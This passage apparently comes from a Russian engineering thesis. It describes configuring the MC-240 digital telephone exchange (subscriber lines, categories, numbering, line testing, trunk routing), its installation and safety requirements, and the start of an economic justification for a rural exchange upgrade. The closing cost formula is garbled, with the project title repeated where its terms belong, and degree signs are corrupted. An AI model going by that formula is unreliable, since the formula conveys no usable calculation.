Кроме того, для абонентов, их категория содержит информацию о категории АОН. В ЦАТС «МС240» можно определить до 32 различных категорий доступа.

Определение категории доступа осуществляется в разделе «Категории доступа». Параметры категории доступа включают в себя: имя категории, категория АОН и возможность доступа к другим категориям. Окна изменения параметров вызываются либо двойным щелчком на строчке категории, либо нажатием «Enter», либо из контекстного меню выбором пункта «Свойства».

Для быстрого просмотра всех категорий и их взаимодоступности используется раздел «Таблица доступа».

Для удобства работы с абонентскими линиями в программе предусмотрен раздел «Абоненты», который содержит список всех абонентских линий станции с кратким описанием настроек и режимов. Возможна сортировка линий по значениям параметров и быстрый поиск линии по первым цифрам номера.

Добавление новых абонентских линий осуществляется путем изменения аппаратного состава станции – добавления модулей 16АК. Для вновь установленных модулей 16АК следует правильно задать конфигурацию, которая включает в себя категорию абонента, телефонный номер, параметры линии и параметры ДВО. Это может быть сделано либо непосредственным редактированием параметров абонентских линий, либо копированием параметров уже сконфигурированных линий.

Порядок добавления новых абонентских линий:

a) установка нового модуля.

Раздел «Оборудование». Выберите свободный слот в конфигурации и установите тип модуля «16АК». Ответьте утвердительно на вопрос «Установить плату?». В следующем диалоговом окне можно задать начальную нумерацию, указав стартовый номер.

b) задание характеристик линии, режим обслуживания.

Вызовите окно редактирования свойств порта и установите требуемые параметры: Параметры линии:

— Повышенная дальность – напряжение питания линии 100 В.

— Пониженное потребление – напряжение питания линии 24 В.

— Расширенная АЧХ – используется при подключении к комплекту модема.

— Коэффициенты усиления входных и выходных сигналов.

— Высокий импеданс.

Параметры обслуживания:

— Выключен – порт не обслуживается.

— Набор DTMF – прием тонального набора.

— Обработка FLASH.

— Выдача АОН при ответе.

Дополнительно в окне свойств порта можно задать:

— Уникальное название порта (например, ФИО абонента).

— Прямой номер (прямое соединение с указанным портом при снятии трубки).

— Блок параметров (настраиваются в разделе «Блоки параметров АК»).

— Блок коэффициентов (набор коэффициентов для различных характеристик линии).

— Категория доступа – доступ к внутренним объектам и категория АОН.

— Категория ДВО – один из планов функций ДВО.

c) Определение категории абонентской линии.

Категория абонента должна удовлетворять следующим требованиям:

— Описывать категорию АОН.

— Обеспечивать доступ к разрешенным направлениям (транковым группам) при исходящей связи.

— Обеспечивать доступность для разрешенных входящих направлений (транковых групп) при входящей связи.

— Обеспечивать доступ к внутренним абонентам при внутренней связи.

Примечание. Для удобства работы со станцией делайте наименования объектов максимально информативными. Например, наименование категории доступа присваиваемой абонентам имеющим категорию АОН 1 может быть таким: «Абоненты, АОН1» — это позволит в дальнейшем облегчить использование категорий при конфигурировании станции.

d) Списочный номер абонента.

Списочный номер абонента назначается в зависимости от типа нумерации. При закрытой нумерации он должен содержать полный пятизначный номер, при открытой нумерации – сокращенный трехзначный номер абонента.

Списочный номер назначается либо при начальной установке платы, либо, черезконтекстное меню «Нумерация». Изменение нумерации можно осуществлять для нескольких портов одновременно.

e) Назначение категории ДВО.

Назначение категории ДВО происходит в окне редактирования свойств порта (см. b)).

Укажите одну из ранее определенных категорий ДВО. Необходимо заранее настроить все необходимые категории ДВО при планировании и запуске системы.

Ликвидировать абонентскую линию можно разными способами:

– ликвидация с удалением модуля 16АК – при удалении модуля удаляются все его порты (физическое удаление), а также освобождаются номера, занятые портами. Для физического удаления в разделе «Оборудование» указать тип модуля как «Нет» и ответить утвердительно на вопрос «Удалить плату?».

– запрет на обслуживание конкретного порта – в окне свойств порта поставить флажок «Отключен». Для освобождения номера необходимо, выбрав порт, вызвать окно «Нумерация» и выбрать «Удалить».

Любая из этих операций требует последующего полного переконфигурирования.

Для кратковременной блокировки можно воспользоваться разделом «Состояние портов» и, выбрав порт, из контекстного меню выбрать команду «Включить/выключить». Порт будет исключен из обслуживания до следующего перезапуска станции. Для снятия блокировки снова дать команду порту «Включить/выключить».

Для долговременного отключения используется флажок в окне свойств порта «Отключен».

Установка флажка исключает порт из обслуживания, сброс флажка – включает в обслуживание.

Для изменения режимов обслуживания абонентов служит раздел «Абоненты», где приведен список всех абонентов и краткое описание параметров обслуживания.

Вызовите окно редактирования свойств порта и измените категорию абонента, режимы обслуживания и другие параметры линии. По завершению редактирования свойств порта необходимо через контекстное меню дать команду «Записать», которая внесет изменения в текущую конфигурацию станции. При этом будет разорвано существующее соединение данного порта.

Дополнительные режимы сортировки по разным колонкам и быстрый поиск по номеру облегчают работу по настройке абонентских линий.

ЦАТС «МС240» позволяет иметь до 32 категорий дополнительных видов обслуживания («планов ДВО»). В каждой категории можно задать набор функций ДВО разрешенных данной категории. В каждый момент времени абонент имеет доступ только к функциям, разрешенным в его категории ДВО.

Управление доступом абонентов к функциям ДВО осуществляется с помощью категорий ДВО. Категории ДВО являются настраиваемыми и представляют собой наборы разрешений доступа к отдельным функциям.

Управлять доступом абонентов к функциям ДВО возможно двумя путями:

– Изменением категории ДВО абонента. При смене категории абонент получает доступ к тем функциям ДВО, которые разрешены вновь присвоенной категорией.

– Настройкой параметров категории ДВО. Такой способ повлияет на режим ДВО всех абонентов, которым присвоена выбранная для изменения категория.

Для изменения категории ДВО абонента в разделе «Абоненты» следует вызвать окно редактирования свойств нужного порта, изменить категорию ДВО, режим обслуживания и записать изменения в станцию.

Для изменения параметров категории ДВО в разделе «Конфигурация-> Категории-> Категории ДВО» выбрать категорию и вызвать окно редактирования. Настроить параметры категории и записать изменения в станцию.

Перечисленные выше процедуры предназначены для управления доступом абонентов к функциям ДВО. Кроме этого возможно прямое управление индивидуальными режимами ДВО абонентов.

Индивидуальные режимы ДВО абонентов могут быть установлены либо самими абонентами с помощью кодов доступа к функциям ДВО, либо с помощью программы PbxAdm в разделе «Конфигурация->Абоненты->Режимы ДВО». Программа PbxAdm позволяет редактировать начальные режимы ДВО абонентов, предназначенные для первоначальной настройки станции, и действующие режимы ДВО. Подробнее методика редактирования описана в документе «МС240. Руководство по эксплуатации. Часть 3. Программа конфигурирования и мониторинга».

Списочный номер абонентской линии назначается либо при конфигурировании аппаратного состава станции в момент установки нового модуля, либо в последствии через контекстное меню «Нумерация». Изменение нумерации может осуществляться для группы портов одновременно.

Выберите порт или группу портов для их последовательной нумерации. Правой кнопкой мыши вызовите контекстное меню, выберите пункт «Нумерация». Появится окно изменения нумерации. Введите начальный номер — в зависимости от количества выбранных портов будут вычислены все назначаемые номера и произведена их проверка на дублирование. В случае обнаружения конфликтующих номеров в дополнительном окне появится их перечень. Убедитесь в отсутствии конфликтов и нажмите «OK».

По окончании изменения нумерации перейдите в раздел «Нумерация->План нумерации» и сделайте полную проверку плана нумерации. Для этого нажмите кнопку «123» на панели инструментов. Если обнаружены конфликты нумерации, устраните их. Для того, чтобы изменения нумерации вступили в силу необходимо полное переконфигурирование и перезапуск станции.

В разделе «Состояния портов» имеется вся информация о текущих соединениях в ЦАТС.

Чтобы узнать, с кем связан абонент, выберите его порт щелчком мыши или подведите курсор. В дополнительном окне «Состояние порта» в строке «Порт Y» можно узнать порт, с которым установлено соединение.

Информацию только об активных соединениях можно узнать в разделе «Активные соединения», где приводится список всех активных соединений станции. Причем в установленных соединениях отображаются пара портов, буфер набора, текущая продолжительность соединения и текущее состояние.

Проверка абонентских линий необходима для контроля состояния линейных цепей и внутренних схем станции.

Процедура проверки включает:

– Проверку наличия посторонних напряжений на линейных проводах.

– Измерение внутренних питающих напряжений модуля.

– Измерение величины сопротивления изоляции между проводами и между проводами и землей.

– Измерение целостности проводов абонентской линии по признаку наличия емкости звонковой цепи.

Результаты тестирования комплектов запоминаются в отдельном журнале «Журнал тестирования», в котором запоминаются все измеренные характеристики и время проведения тестирования. Если в разделе «Состояния портов» выбрать абонентский порт, то в дополнительном окне «Состояние порта» будет выведена информация о последнем тестировании комплекта с указанием даты и времени проведения тестирования.

Управление проверкой абонентских линий осуществляется как вручную, так и автоматически по расписанию.

Для ручного запуска проверки одного комплекта в разделе «Состояние портов» выбрать порт и через контекстное меню выбрать пункт «Тестировать». Будет автоматически произведено тестирование порта.

Также можно запустить проверку всех портов на одной плате модуля 16АК, выбрав в контекстном меню команду «Тестировать слот». Порты начнут тестироваться по порядку, а результаты будут накапливаться в журнале. Остановить запущенную процедуру тестирования можно кнопкой «Стоп» на панели инструментов, либо в разделе «Журнал тестирования» кнопкой «Остановить».

Ручной запуск автоматического тестирования всех абонентских комплектов станции производится через пункт меню «Тестирование/Автотест портов».

Будет запущена процедура тестирования слота на каждом модуле 16АК, находящемся в системе.

При автоматическом тестировании проверяется состояние порта, и если порт занят в соединении, то тестирование переносится на более поздний срок. Если порт не освобождается до конца операции тестирования, то в «Журнал работы» вносится запись о невозможности тестирования порта и операция тестирования завершается.

Программу PbxAdm можно настроить на запуск автоматического тестирования по расписанию. Для этого нужно вызвать окно настройки через пункт меню «Тестирование/Параметры автотестирования…» и указать время, периодичность и продолжительность операции автоматического тестирования. Здесь также указывается список объектов, для которых необходимо проводить тестирование. Флажок «Использовать системный планировщик» позволяет операционной системе самостоятельно запускать программу PbxAdm в заданное время для проведения тестирования.

Результаты тестов будут накапливаться в «Журнале тестирования» для каждого объекта, а сообщения о невозможности тестирования и аварийных состояниях линии будут накапливаться в «Журнале работы».

3.5.2 Управление маршрутизацией и межстанционными каналами

Для описания направлений используется объект «Транковая группа», которая определяет то или иное направление. Доступ к портам, включенным в транковую группу, обычно осуществляется при помощи префиксов. Причем, в качестве префиксов может выступать как специальный номер для выхода на направление при открытой нумерации (например, «8» или «9»), так и первые цифры номеров внутризоновой связи при закрытой нумерации (например, «34» для выхода на «34ХХХ»). Для транковой группы также задается категория доступа, которая позволяет разрешать или запрещать различные виды связи для абонентов. Создавать, удалять и изменять свойства транковых групп позволяет раздел «Группы/Транковые группы», где приводится список всех созданных транковых групп.

Объектами, включенными в транковую группу, могут быть только порты соединительных линий (ИКМ, ТЧ). Объекты, включенные в одно направление (группу) должны обладать сходными режимами работы и сходной направленностью связи. Порядок выбора линии в пределах направления задается параметрами транковой группы.

Объектами, обеспечивающими доступ к направлениям, являются префиксы. Количество и параметры префиксов зависят от типа нумерации. При открытом типе нумерации это 1-2 дополнительных префикса для выхода на конкретное направление без передачи самого префикса в линию. При закрытом типе – первые цифры номеров абонентов внутризоновой связи с передачей самого префикса в линию, и префикс выхода на междугородную связь.

Изменение данных, относящихся к пучку линий.

Редактирование параметров транковой группы осуществляется в окне свойств группы. Редактируемые параметры:

a) Категория доступа – должна обеспечивать доступность/недоступность объектов группы к внутренним абонентам, обеспечивать достуность/недоступность абонентов к объектам группы.

1) Входящая связь:

— Фильтр набора – удаление первых заданных цифр при входящем наборе;

— Количество удаляемых цифр – удаление первых цифр при входящем наборе;

— Добавляемые цифры – добавляемые в начало номера цифры при входящем наборе;

2) Исходящая связь:

— Фильтр набора – удаление первых заданных цифр при исходящем наборе;

— Количество удаляемых цифр – удаление первых цифр при исходящем наборе;

— Добавляемые цифры – добавляемые в начало номера цифры при исходящем наборе;

b) Выбор транков – порядок поиска свободной линии в пучке (с первой,

последовательный, с учетом нагрузки).

В правой части окна редактирования параметров транковой группы отображается состав группы в виде списка линий, образующих группу. Изменение состава транковой группы производится путем установки параметра «Транковая группа» в параметрах соединительных линий.

Изменение системы сигнализации в рамках направления осуществляется путем изменения параметров сигнализации соединительных линий, образующих это направление. Параметры СЛ настраиваются в разделе «Оборудование».

Примечание. Для ускорения процесса настройки однотипных СЛ можно применить копирование параметров портов.

Для включения нового направления необходимо:

– Создать новую транковую группу в разделе «Группы->Транковые группы» и задать необходимые параметры (фильтры набора и проч.).

– Включить в состав вновь созданной транковой группы соединительные линии. Для этого настроить необходимое количество соединительных линий в разделе «Оборудование» и включить их в направление путем установки в параметрах этих линий параметра «Транковая группа».

– Создать новые или изменить существующие префиксы выхода для организации доступа к вновь созданному направлению.

– Особое внимание следует уделить параметру «Категория доступа» линий и транковой группы. Присвоенная им категория доступа должна обеспечивать взаимодоступность линий, транковой группы и абонентов. Для этого можно либо использовать уже определенные в конфигурации категории доступа, либо определить новую категорию.

Изменение использования линии.

Установка типа линии – исходящая, входящая или двусторонняя – задается в ее параметрах в разделе «Оборудование» путем смены протокола. Изменение типа линии, как правило, влечет за собой ее перевод в другую транковую группу и изменение категории доступа линии.

За порядок поиска свободной линии в транковой группе отвечает параметр группы «Выбор транков». Он может принимать следующие значения:

– с первой – поиск всегда начинается с первой линии в составе группы и заканчивается при обнаружении первой свободной линии;

– последовательный – поиск начинается с линии, следующей за найденной в предыдущем поиске, т.е. обеспечивается последовательный перебор всех линий группы (распределение нагрузки);

– с учетом нагрузки – из всей группы выбирается линия с наименьшим суммарным временем занятия (равномерное распределение нагрузки).

Изменение данных маршрутизации.

Система маршрутизации ЦАТС «МС240» состоит из транковых групп, определяющих состав линий в каждом направлении, и префиксов выхода на направления.

Количество префиксов, требуемых для доступа к направлению, зависит от типа нумерации – закрытая, открытая без индекса выхода или открытая с индексом выхода.

При использовании открытой нумерации с индексом выхода в конфигурации станции должен быть определен префикс, обеспечивающий выход на опорную АТС. Списочный номер префикса будет являться индексом выхода. Трансляции списочного номера префикса в линию в этом случае не требуется.

При использовании закрытой нумерации или открытой нумерации без индекса выхода в конфигурации станции должно быть определено достаточное количество префиксов, обеспечивающих выход на соответствующие направления при наборе номера внешнего абонента.

Для обеспечения возможности маршрутизации опорной АТС списочный номер префикса должен транслироваться в СЛ.

Кроме того, в параметрах транковых групп задаются добавляемые цифры и количество удаляемых цифр при межстанционном взаимодействии.

Для исключения канала из пучка достаточно в окне свойств порта, отвечающего за канал, убрать указание на транковую группу, в которой он участвует. При этом его можно переключить на другое направление.

Для отключения канала из обслуживания, достаточно убрать параметр «Протокол». При этом необходимо удостовериться в том, что на встречной АТС эти каналы не включены как исходящие.

Управление конфигурацией программных средств.

Раздел «Состояние станции» служит для отображения версии программного обеспечения, даты последнего изменения конфигурации, различных настроек и статистики работы.

Установка и чтение календаря. Просмотреть текущие показания календаря станции можно в разделе «Состояние станции» в строке «Системный календарь».

Изменить показания часов и даты можно путем нажатия кнопку «Корректировка часов станции» на панели инструментов в разделе «Состояние портов» или «Состояние станции».

Чтение и запись содержимого конфигурации АТС и его изменение. Чтение, запись и сверка контрольных сумм конфигурации осуществляется через меню «Конфигурация». Причем существует возможность сравнить прочитанную конфигурацию с конфигурацией, сохраненной на диске.

Инициализация рестарта. Кнопка «Перезапуск» на дополнительной панели инструментов приводит к перезагрузке станции. При этом разрываются все соединения, очищаются буферы и инициализируются все модули станции.

3.6 Обеспечение безопасности жизнедеятельности

3.6.1 Требования к помещению

Ниже приведены основные требования к помещению для установки ЦАТС МС-240:

Проверьте, что для установки блока ЦАТС «МС240» имеется достаточно места. При установке блока в стойку необходимо чтобы дно блока находилось на высоте от пола не более 1,7 м. Перед блоком и позади него должно быть свободное пространство не менее 1 м. Над блоком и под ним должно быть свободное пространство не менее 15 см для обеспечения нормальной вентиляции устройства.

Проверьте, что для установки кросса имеется достаточно места дополнительно к месту для блока. Кросс следует располагать в непосредственной близости от блока ЦАТС. Нижняя часть кросса должна находиться на высоте не менее 61 см, а верхняя — не более 1,9 м от пола.

Перед кроссом должно быть свободное пространство пола не менее 1 м. Вследствие того, что устройства для оконечной заделки кабелей весьма разнообразны, размеры кросса могут быть соответственно различными.

Проверьте, что имеется достаточно места для установки любого дополнительного оборудования, связанного с ЦАТС, в т. ч. терминала для программирования или ПЭВМ, модема, внешней системы поиска персонала и оповещения и т. п.

Проверьте, что имеется достаточно места для установки стола техника или рабочего стола, если это предусматривается как часть станции.

Проверьте, что имеется достаточно места для установки устройств резервного электропитания, если таковое предусматривается как часть станции.

3.6.2 Требования к электрической сети

Мощность электросети должна быть достаточной для обеспечения питания станции, а оборудование электрической сети в помещении ЦАТС должно удовлетворять следующим требованиям. Требуется по меньшей мере один выделенный фидер для питания ЦАТС. Для питания дополнительного оборудования или испытательных приборов необходимо подвести фидер питания переменного тока 220 В, оснащенный одной-двумя розетками. Фидер питания станции должен иметь независимую защиту предохранителем или автоматическим выключателем, но не должен снабжаться выключателем.

Розетка фидера питания должна располагаться не далее 1,2 м от блока ЦАТС «МС240» при питании последней от сети переменного тока. Она должна располагаться не далее 1,2 м от источника постоянного тока напряжением 60В при питании ЦАТС от постоянного тока.

Розетки дополнительного фидера должны быть размещены так, чтобы к ним было удобно подключать дополнительное оборудование, а так же чтобы терминалы передачи данных, ПЭВМ и испытательные приборы могли использоваться рядом с ЦАТС.

В таблице 3.8 приведены напряжения питания и примерное максимальное значение тока потребления.

Таблица 3.8 — Напряжения питания

Переменный ток

220-240 В

Постоянный

ток — 60 В

Постоянный

ток — 24 В

1 А

4 А

10 А

Приведенные здесь значения тока следует учитывать при выборе сечения проводов фидера питания станции.

3.6.3 Порядок установки ЦАТС МС-240

До начала установки станции руководитель работ должен ознакомиться с настоящим руководством. Станция может быть закреплена на 19’’ несущих стойках, либо установлена на горизонтальной полке.

Перед установкой ЦАТС на месте эксплуатации необходимо произвести внешний осмотр станции. Осмотреть станцию на отсутствие видимых механических повреждений.

В случае поставки АТС в разобранном виде (платы модулей отдельно от каркаса АТС), установить платы в каркас АТС, вставляя по направляющим, до установления надежного контакта между разъемом кросс-платы и разъемом платы модуля. Крепить платы винтами к верхней и нижней планке АТС. При размещении плат руководствоваться данными текущей конфигурации станции.

Установить и закрепить АТС, руководствуясь разделом ТЕХНИКА БЕЗОПАСНОСТИ настоящего руководства. Проложить кабели от станционной части кросса до линейных разъемов окончаний. Кабели увязать между собой.

Внимание! Для защиты от перенапряжений модулей абонентских комплектов (модули 16АК) линейная сторона кросса должна быть оборудована трехполюсными разрядниками с напряжением срабатывания 230В. Рекомендуются разрядники фирмы KRONE “МК, 230 В” с термозащитной пружиной. В этом случае допускается эксплуатация станции без установленных модулей защиты по току. Для защиты от посторонних напряжений модулей цифровых потоков (модули 2Е1, 2И15) линейная сторона кросса должна быть оборудована устройствами комплексной защиты. Рекомендуются штекеры комплексной защиты фирмы KRONE “Com Protect 2/1 CP HGB 180 A1”.

Разъёмы для подключения линий связи, клеммы для подключения фидеров основного и резервного источников питания и защитного заземления расположены на задней крышке станции.

Подключить защитное заземление. С помощью омметра убедиться в отсутствии связи между землёй и клеммами питания станции. Установить выключатель на передней панели модуля питания в положение «ВЫКЛ.» и подключить фидеры основного и резервного источников питания, соблюдая полярность.

Внимание! Станция может поставляться с различными источниками питания 60В и 220В.

Тип источника маркирован на его лицевой панели. Для подключения источника на 220В используется сетевой шнур питания, который подключается к специальному сетевому разъему с соответствующей маркировкой на задней панели станции. При подаче неправильного питающего напряжения (220 на 60 или 60 на 220) блок питания не запустится. Проверьте соответствие типа источника питания и подаваемого напряжения.

Разъёмы для подключения линий связи пронумерованы от 0 до 15. Каждый разъём расположен напротив своего модуля окончаний (на разъём с номером 15 выведены окончания самого левого со стороны передних панелей модуля).

Определите трассу прокладки кабелей ввода-вывода (линейных) от кросса до разъемов ввода-вывода каркаса для плат и измерьте максимальное расстояние от разъема ввода-вывода каркаса для плат до соответствующей колодки на кроссе.

Для каждого используемого разъема ввода-вывода каркаса подготовьте по отрезку кабеля в соответствии с определенной ранее длиной. Сделайте распайку кабеля в разъемы в соответствии с типами и местоположением установленных в станции модулей. Промаркируйте каждый кабель ввода-вывода около разъема в соответствии с номерами разъёмов на задней крышке станции.

Подведите свободные концы кабеля к соответствующим колодкам кросса и заделайте каждый кабель в соответствующую ему колодку кросса. Омметром прозвоните кабель от контактов кабельной части разъемов до контактов кросса. До проверки станции «на себя» кабель к станции не подключать.

Промаркируйте каждую колодку кросса в соответствии с номерами разъемов ввода-вывода ЦАТС.

После проверки «на себя» подведите концы кабеля к разъемам ввода-вывода. Плотно вставьте разъем кабеля в ответный разъем ввода-вывода ЦАТС «МС240». Осторожно и надежно защелкните петли крепления разъема.

Подайте питание на станцию, вольтметром убедитесь в наличии напряжения 60В на клеммах питания и в правильности полярности включения. Включите выключатель на передней панели модуля питания и убедитесь, что через 3-5сек зажглись зелёные индикаторы вторичных напряжений и кратковременно зажегся красный индикатор «сброс» модуля ЦПУ (допускается двукратное зажигание этого индикатора).

3.7 Указания по технике безопасности

3.7.1 Общие указания

Эксплуатация станции должна производиться инженерно-техническим персоналом, прошедшим специальную подготовку.

Станция состоит из сложных электронных и электромеханических устройств и требует строгого выполнения правил транспортировки, установки и эксплуатации.

Транспортировка станции может осуществляться наземным и воздушным транспортом в заводской транспортной упаковке, при соблюдении требований раздела 12 настоящей инструкции.

Хранение станции должно осуществляться в соответствии с указаниями, изложенными в настоящей инструкции.

На всех стадиях эксплуатации станции обслуживающий персонал обязан:

– строго руководствоваться настоящей инструкцией;

– соблюдать правила техники безопасности;

– проводить техническое обслуживание в сроки, установленные регламентом технического обслуживания;

– при проведении технического обслуживания пользоваться исправной, с не просроченной датой проверки контрольно-измерительной аппаратурой;

– постоянно следить за состоянием станции и своевременно устранять появляющиеся неисправности;

– регулярно проверять и пополнять ЗИП исправными блоками и элементами.

Станция предназначена для круглосуточной эксплуатации при следующих условиях:

– температура окружающей среды от минус10 до +40 ўЄС;

– относительная влажность воздуха до 80% при температуре 25 ўЄС;

– атмосферное давление от 6,0х10*4 до 10,7х10*4 Па (от 450 до 800 мм рт.ст.).

Замена неисправных блоков должна осуществляться только при выключенном электропитании.

3.7.2 Указания мер безопасности

Помещения, в которых устанавливается станция, относятся к классу помещений с повышенной опасностью.

При работе со станцией должны выполняться требования действующих руководящих документов по правилам и мерам безопасности и эксплуатационной документации.

К эксплуатации станции допускается обслуживающий персонал, имеющий твердые теоретические знания и практические навыки в обращении с системой, знающий правила техники безопасности, обученный приемам освобождения пострадавшего от электрического тока и правилам оказания первой помощи пострадавшим.

Обслуживающий персонал, осуществляющий эксплуатацию станции, должен помнить, что небрежное или неумелое обращение с техническими средствами (ТС) станции, нарушение требований настоящего руководства по эксплуатации может привести к неисправностям и отказам отдельных блоков, узлов и станции в целом, а также привести к несчастным случаям.

Проверка знаний правил техники безопасности (ТБ) у обслуживающего персонала (ОП) должна производиться в следующих случаях:

– один раз в год одновременно с проверкой правил эксплуатации на допуск к самостоятельному обслуживанию станции;

– при нарушении правил техники безопасности или правил эксплуатации;

– при определении квалификации группы вновь прибывшего обслуживающего персонала.

ОП необходимо помнить, что электрооборудование, входящее в состав станции, по условиям электробезопасности относится к электроустановкам, напряжением до 1000В.

Металлические конструкции должны быть заземлены.

Лица, обслуживающие систему, должны быть обучены приемам освобождения попавшего под напряжение от электрического тока, приемам реанимационного дыхания, правилам оказания первой помощи и способам тушения пожара.

Для предупреждения несчастных случаев с ОП и аварий при эксплуатации станции выполнять следующие требования ТБ и меры предосторожности:

– производить замену плат модулей только при выключенных источниках питания;

– применять предохранители номинала и типа, предусмотренные электрическими схемами стоек;

– не применять в качестве предохранителей самодельные вставки;

– заземлять все оборудование и приборы, работающие под высоким напряжением или питающиеся от сети переменного тока;

– определять наличие напряжения на источниках питания, а также отдельных цепях оборудования, только с помощью измерительных приборов;

Должностные лица и весь ОП станции должны выполнять правила пожарной безопасности. Противопожарный инвентарь, находящийся в помещениях в соответствии с рабочим проектом, должен быть комплектным, исправным, находиться в специально отведенных местах. Места расположения пожарного инвентаря должны быть помечены красной краской.

Проходы в помещениях, основные и запасные выходы должны содержаться в постоянной готовности. В случае возникновения пожара в помещениях, вентиляционные станции должны отключиться.

Проведение огнеопасных работ (сварка, резка металла и т.п.) в помещениях допускается с разрешения начальника смены и только под наблюдением дежурного из состава внешнего пожарного расчета. За помещениями, в которых производятся огнеопасные работы, должно быть установлено особое наблюдение в течение 6-8 ч после окончания огнеопасных работ.

3.7.3 Особенности техники безопасности при работе с ЦАТС

Будьте внимательны к указаниям и предупреждениям настоящего руководства по эксплуатации. Во избежание ухудшения качества покрытия ЦАТС не используйте для очистки поверхности кожуха летучие вещества (ацетон, спирт, бензин, растворитель).

Очистку пыли с корпуса АТС производите только сухой чистой тряпкой. Пользуйтесь только стандартными разъемами, входящими в комплект поставки. Щели и отверстия в корпусе ЦАТС обеспечивают ее вентиляцию и надежную работу, предотвращая перегрев.

Категорически запрещается закрывать щели и отверстия!

ЦАТС с блоком питания на 220 В должна работать только от сети питания переменного тока 50 Гц с напряжением 220 В. Следите, чтобы сетевой шнур не защемился другими приборами. Во избежание случаев поражения электрическим током нельзя включать ЦАТС со снятым кожухом. Вы можете ее повредить или попасть под напряжение сети.

Телефонные аппараты, не имеющие сертификат Минсвязи России, а также различные устройства передачи данных, радио-удлинители и т.п. подключаются только по согласованию с предприятием-изготовителем.

Подача в абонентскую линию посторонних напряжений (как кратковременных, так и длительных) категорически запрещена.

ЦАТС должна быть заземлена. Шины защитного заземления ЦАТС должны быть обозначены в соответствии с ГОСТ 21130-75. Клемма заземления ЦАТС должна быть соединена с контуром защитного заземления. Сопротивление заземляющего устройства не должно превышать 4 Ом.

Во избежание несчастного случая категорически запрещается эксплуатация АТС «МС 240» без заземляющего соединения!

3.7.4 Условия окружающей среды

Место установки ЦАТС должно быть чистым, сухим и защищенным от воздействия экстремальных погодных условий.

Пол помещения в месте установки ЦАТС должен быть покрыт линолеумом, полихлорвиниловым покрытием, керамической плиткой или паркетом. Покрытие пола коврами не допускается.

Стены и потолок помещения в месте установки ЦАТС должен быть снабжен покрытием или окрашен так, чтобы было исключено отделение частиц.

Помещение для установки ЦАТС должно быть хорошо освещено, а источники света должны быть равномерно распределены, чтобы не было затененных мест. Уровень освещенности должен быть достаточным для комфортного чтения и позволять различать цвета изоляции проводов без излишнего напряжения глаз.

Освещение должно быть сравнимым с освещением учрежденческого помещения. Как общее правило, в комнате с высотой потолка 2,5 м одна люминесцентная лампа длиной 120 см обеспечивает достаточную освещенность на площади 1,9 — 2,4 м2.

В зоне установки ЦАТС должна поддерживаться температура окружающего воздуха пределах 0 — 40 ўЄC и относительная влажность 20 — 80 %. Образование конденсата должно быть исключено.

Необходимо учитывать тепло, выделяемое другим оборудованием. В частности, при заряде полностью разряженных батарей может выделяться значительное количество тепла, зависящее от емкости батареи и интенсивности (тока) заряда.

При большом перепаде температур при вносе станции в помещение, необходимо выдержать не менее двух часов в нормальных условиях в упаковке. После длительного пребывания в условиях повышенной влажности станцию, перед включением, необходимо выдержать в нормальных условиях не менее 12 часов.

В помещении ЦАТС не должно быть едких и вызывающих коррозию жидкостей, веществ и материалов. Если в состав системы входят батареи, обязательно необходимо принять соответствующие меры по предупреждению вызывающих коррозию выделений из батарей (например, предусмотреть специальную вентиляцию). Проверьте наличие дополнительных требований в местных строительных нормах и правилах.

Помещение для установки ЦАТС не должно находится ближе 6 м от электроустановок, создающих высокие уровни электромагнитных полей или излучения радиочастотной энергии. К таким установкам относятся радиопередатчики, установки для электродуговой сварки, копировальные аппараты, электродвигатели, холодильные установки, силовые трансформаторы, распределительные пункты электросетей, а также щиты с устройствами защиты силовых сетей.

Помещение для установки станции должно обеспечивать необходимую безопасность системы. Оно должно иметь прочные укрепленные стены и запирающуюся дверь.

ЦАТС «МС240» и услуги, обеспечиваемые ею абонентам, представляет собой значительный объем капиталовложений. В случае критической ситуации надежность связи может оказаться решающей для защиты жизни людей и имущества. Доступ к ЦАТС должен быть ограничен и контролируем во избежание нежелательного вмешательства посторонних лиц в работу станции. В системе используются опасные рабочие напряжения, а токи короткого замыкания могут иметь весьма большую величину, вследствие чего станция должна быть защищена от повреждений неквалифицированным персоналом, а сам персонал — от возможных травм.

7 Технико-экономическое обоснование проекта

В данном проекте решаются вопросы реконструкция ОС поселка Гастелло Жаркаинского района Акмолинской области. Существующее оборудование АТС типа АТСК-50/200 с монтированной емкостью 100 номеров давно устарело и подлежит замене на современное. В качестве нового оборудования АТС будет использоваться цифровая коммутационная станция МС-240 (Россия).

Число вновь вводимой емкости 300 номеров (на первом этапе) определено на основании исследовании спроса, так как на традиционные виды услуг предприятия имеет предварительные заявки, например заявления на установку телефона, а также в данном проекте предусматривается телефонизация окраин п. Гастелло.

Оценка экономической эффективности капитальных вложений осуществляется на основе проведенного расчета оборудования АТС с помощью технико-экономических показателей, которые будут рассмотрены в данном разделе.

Расчет выполняется в определенной последовательности, включает следующие этапы: расчет капитальных затрат на приобретенное оборудование и ввода его в эксплуатацию; расчет годовых эксплуатационных расходов; расчет доходов от основной деятельности, получаемой после ввода в эксплуатацию АТС; расчет показателей экономической эффективности.

С целью сопоставления эффекта затрат, в общую сумму капитальных вложений входят: затраты на приобретение оборудование (его стоимость); затраты на его транспортировку; затраты на монтаж оборудования и его настройку; затраты на линейные сооружения и системы передачи.

Оборудование, снимаемое с эксплуатации, имеет физический срок службы более 20-ти лет, и полностью перенесло свою стоимость на создаваемую продукцию.

Строительство гражданских сооружений не предусматривается, так как станция будет располагаться в существующем здании, на площади пригородной для размещения оборудования данного типа и отвечающей требуемым нормам.

Согласно договору с фирмой поставщиком поставляется оборудования. Кроме цены на станционное оборудование в размер капитальных вложений входят затраты на транспортировку оборудования, монтаж и другие статьи, указанные в таблице 7.1.

Капитальные единовременные затраты определяются по формуле:

К = Ц + КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 + КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 + КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240+ КРеконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240 (7.1)

